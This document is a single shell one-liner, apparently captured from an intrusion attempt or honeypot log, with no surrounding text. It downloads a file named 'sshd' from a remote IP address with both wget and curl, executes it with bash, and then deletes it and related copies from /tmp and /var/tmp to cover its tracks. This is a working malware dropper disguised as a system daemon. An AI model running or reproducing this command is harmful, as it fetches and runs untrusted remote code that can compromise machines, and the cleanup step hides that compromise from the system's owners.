cd /tmp; wget 51.79.55.208:8281/sshd -O /tmp/sshd; curl 51.79.55.208:8281/sshd -o /tmp/sshd; bash /tmp/sshd; rm -rf /tmp/sshd; rm -r /tmp/sshd; rm -rf /var/tmp/sshd; rm -rf /var/tmp/sshd.*; rm -rf /tmp/sshd.*